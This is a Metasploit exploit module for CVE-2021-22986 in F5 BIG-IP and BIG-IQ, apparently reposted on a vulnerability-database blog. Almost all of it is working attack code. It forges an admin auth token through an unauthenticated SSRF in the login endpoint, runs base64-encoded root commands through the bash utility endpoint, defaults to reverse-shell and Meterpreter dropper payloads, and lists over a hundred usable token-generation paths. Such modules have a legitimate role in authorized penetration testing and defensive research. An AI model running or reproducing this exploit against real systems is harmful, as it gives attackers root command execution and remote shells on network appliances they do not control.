Tuesday, April 6, 2021

F5 iControl Server-Side Request Forgery / Remote Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'F5 iControl REST Unauthenticated SSRF Token Generation RCE',
'Description' => %q{
This module exploits a pre-auth SSRF in the F5 iControl REST API's
/mgmt/shared/authn/login endpoint to generate an X-F5-Auth-Token that
can be used to execute root commands on an affected BIG-IP or BIG-IQ
device. This vulnerability is known as CVE-2021-22986.

CVE-2021-22986 affects the following BIG-IP versions:

* 12.1.0 - 12.1.5
* 13.1.0 - 13.1.3
* 14.1.0 - 14.1.3
* 15.1.0 - 15.1.2
* 16.0.0 - 16.0.1

And the following BIG-IQ versions:

* 6.0.0 - 6.1.0
* 7.0.0
* 7.1.0

Tested against BIG-IP Virtual Edition 16.0.1 in VMware Fusion.
},
'Author' => [
'wvu', # Analysis and exploit
'Rich Warren' # First blood (RCE) and endpoint collaboration
],
'References' => [
['CVE', '2021-22986'],
['URL', 'https://support.f5.com/csp/article/K03009991'],
['URL', 'https://attackerkb.com/assessments/f6b19d24-b24e-4abd-98cf-2988d7424311'],
['URL', 'https://research.nccgroup.com/2021/03/18/rift-detection-capabilities-for-recent-f5-big-ip-big-iq-icontrol-rest-api-vulnerabilities-cve-2021-22986/']
# https://clouddocs.f5.com/products/big-iq/mgmt-api/v7.0.0/ApiReferences/bigiq_public_api_ref/r_auth_login.html
],
'DisclosureDate' => '2021-03-10', # Vendor advisory
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => :bourne,
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION], # Only one concurrent session
'SideEffects' => [
IOC_IN_LOGS, # /var/log/restjavad.0.log (rotated)
ACCOUNT_LOCKOUTS, # Unlikely with bigipAuthCookie
ARTIFACTS_ON_DISK # CmdStager
]
}
)
)

register_options([
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [true, 'Valid admin username', 'admin']),
OptString.new('ENDPOINT', [false, 'Custom token generation endpoint'])
])

register_advanced_options([
OptFloat.new('CmdExecTimeout', [true, 'Command execution timeout', 3.5])
])
end

def username
datastore['USERNAME']
end

def user_reference_endpoint
normalize_uri(target_uri.path, '/mgmt/shared/authz/users', username)
end

def check
generate_token_ssrf ? CheckCode::Vulnerable : CheckCode::Safe
end

def exploit
return unless (@token ||= generate_token_ssrf)

print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end

def generate_token_ssrf
print_status('Generating token via SSRF...')
vprint_status("Username: #{username}")
vprint_status("Endpoint: #{login_reference_endpoint}")

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/mgmt/shared/authn/login'),
'ctype' => 'application/json',
'data' => {
'username' => username,
'bigipAuthCookie' => '',
'authProviderName' => 'local',
'loginReference' => {
'link' => "https://localhost#{login_reference_endpoint}"
},
'userReference' => {
'link' => "https://localhost#{user_reference_endpoint}"
}
}.to_json
)

unless res&.code == 200 && (@token = res.get_json_document.dig('token', 'token'))
print_error('Failed to generate token')
return
end

print_good("Successfully generated token: #{@token}")
@token
end

def execute_command(cmd, _opts = {})
bash_cmd = "eval $(echo #{Rex::Text.encode_base64(cmd)} | base64 -d)"

print_status("Executing command: #{bash_cmd}")

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/mgmt/tm/util/bash'),
'ctype' => 'application/json',
'headers' => {
'X-F5-Auth-Token' => @token
},
'data' => {
'command' => 'run',
'utilCmdArgs' => "-c '#{bash_cmd}'"
}.to_json
}, datastore['CmdExecTimeout'])

unless res
vprint_warning('Command execution timed out')
return
end

unless res.code == 200 && res.get_json_document['kind'] == 'tm:util:bash:runstate'
fail_with(Failure::PayloadFailed, 'Failed to execute command')
end

print_good('Successfully executed command')

return unless (cmd_result = res.get_json_document['commandResult'])

vprint_line(cmd_result)
end

def login_reference_endpoint
if datastore['ENDPOINT']
return normalize_uri(target_uri.path, datastore['ENDPOINT'])
end

@token_generation_endpoint ||= token_generation_endpoints.sample

normalize_uri(target_uri.path, @token_generation_endpoint)
end

# Usable token generation endpoints between versions 12.1.4 and 16.0.1
def token_generation_endpoints
%w[
/access/file-path-manager/indexing
/cm/autodeploy/cluster-software-images/indexing
/cm/autodeploy/qkview/indexing
/cm/autodeploy/software-images/indexing
/cm/autodeploy/software-volume-install/indexing
/cm/system/authn/providers/tmos/1f44a60e-11a7-3c51-a49f-82983026b41b/users/indexing
/cm/system/authn/providers/tmos/indexing
/mgmt/shared/analytics/avr-proxy-tasks
/mgmt/shared/gossip
/mgmt/shared/gossip-peer-refresher
/mgmt/shared/identified-devices/config/device-refresh
/mgmt/shared/save-config
/mgmt/tm/shared/bigip-failover-state
/shared/analytics/avr-proxy-tasks
/shared/analytics/avr-proxy-tasks/indexing
/shared/analytics/event-aggregation-tasks/indexing
/shared/analytics/event-analysis-tasks/indexing
/shared/authn/providers/local/groups/indexing
/shared/authz/remote-resources/indexing
/shared/authz/resource-groups/indexing
/shared/authz/roles/indexing
/shared/authz/tokens/indexing
/shared/chassis-framework-upgrades/indexing
/shared/device-discovery-tasks/indexing
/shared/device-group-key-pairs/indexing
/shared/echo/indexing
/shared/framework-info-tasks/indexing
/shared/framework-upgrades/indexing
/shared/gossip
/shared/gossip-peer-refresher
/shared/group-task/indexing
/shared/iapp/blocks/indexing
/shared/iapp/build-package/indexing
/shared/iapp/health-prefix-map/indexing
/shared/iapp/package-management-tasks/indexing
/shared/iapp/template-loader/indexing
/shared/identified-devices/config/device-refresh
/shared/nodejs/loader-path-config/indexing
/shared/package-deployments/indexing
/shared/resolver/device-groups/indexing
/shared/resolver/device-groups/tm-shared-all-big-ips/devices/indexing
/shared/root-framework-upgrades/indexing
/shared/rpm-tasks/indexing
/shared/save-config
/shared/snapshot-task/indexing
/shared/snapshot/indexing
/shared/stats-information/indexing
/shared/storage/tasks/indexing
/shared/task-scheduler/scheduler/indexing
/shared/tmsh-shell/indexing
/tm/analytics/afm-sweeper/generate-report/indexing
/tm/analytics/afm-sweeper/report-results/indexing
/tm/analytics/application-security-anomalies/generate-report/indexing
/tm/analytics/application-security-anomalies/report-results/indexing
/tm/analytics/application-security-network/generate-report/indexing
/tm/analytics/application-security-network/report-results/indexing
/tm/analytics/application-security/generate-report/indexing
/tm/analytics/application-security/report-results/indexing
/tm/analytics/asm-bypass/generate-report/indexing
/tm/analytics/asm-bypass/report-results/indexing
/tm/analytics/asm-cpu/generate-report/indexing
/tm/analytics/asm-cpu/report-results/indexing
/tm/analytics/asm-memory/generate-report/indexing
/tm/analytics/asm-memory/report-results/indexing
/tm/analytics/cpu/generate-report/indexing
/tm/analytics/cpu/report-results/indexing
/tm/analytics/disk-info/generate-report/indexing
/tm/analytics/disk-info/report-results/indexing
/tm/analytics/dns/generate-report/indexing
/tm/analytics/dns/report-results/indexing
/tm/analytics/dos-l3/generate-report/indexing
/tm/analytics/dos-l3/report-results/indexing
/tm/analytics/http/generate-report/indexing
/tm/analytics/http/report-results/indexing
/tm/analytics/ip-intelligence/generate-report/indexing
/tm/analytics/ip-intelligence/report-results/indexing
/tm/analytics/ip-layer/generate-report/indexing
/tm/analytics/ip-layer/report-results/indexing
/tm/analytics/lsn-pool/generate-report/indexing
/tm/analytics/lsn-pool/report-results/indexing
/tm/analytics/memory/generate-report/indexing
/tm/analytics/memory/report-results/indexing
/tm/analytics/network/generate-report/indexing
/tm/analytics/network/report-results/indexing
/tm/analytics/pem/generate-report/indexing
/tm/analytics/pem/report-results/indexing
/tm/analytics/proc-cpu/generate-report/indexing
/tm/analytics/proc-cpu/report-results/indexing
/tm/analytics/protocol-security-http/generate-report/indexing
/tm/analytics/protocol-security-http/report-results/indexing
/tm/analytics/protocol-security/generate-report/indexing
/tm/analytics/protocol-security/report-results/indexing
/tm/analytics/sip/generate-report/indexing
/tm/analytics/sip/report-results/indexing
/tm/analytics/swg-blocked/generate-report/indexing
/tm/analytics/swg-blocked/report-results/indexing
/tm/analytics/swg/generate-report/indexing
/tm/analytics/swg/report-results/indexing
/tm/analytics/tcp-analytics/generate-report/indexing
/tm/analytics/tcp-analytics/report-results/indexing
/tm/analytics/tcp/generate-report/indexing
/tm/analytics/tcp/report-results/indexing
/tm/analytics/udp/generate-report/indexing
/tm/analytics/udp/report-results/indexing
/tm/analytics/vcmp/generate-report/indexing
/tm/analytics/vcmp/report-results/indexing
/tm/analytics/virtual/generate-report/indexing
/tm/analytics/virtual/report-results/indexing
/tm/shared/bigip-failover-state
/tm/shared/sys/backup/indexing
]
end

end
 

Copyright © 2020 Cyber Details - Vulnerability Database™

Thanks for everything Templateism - You should have written the code a little more complicated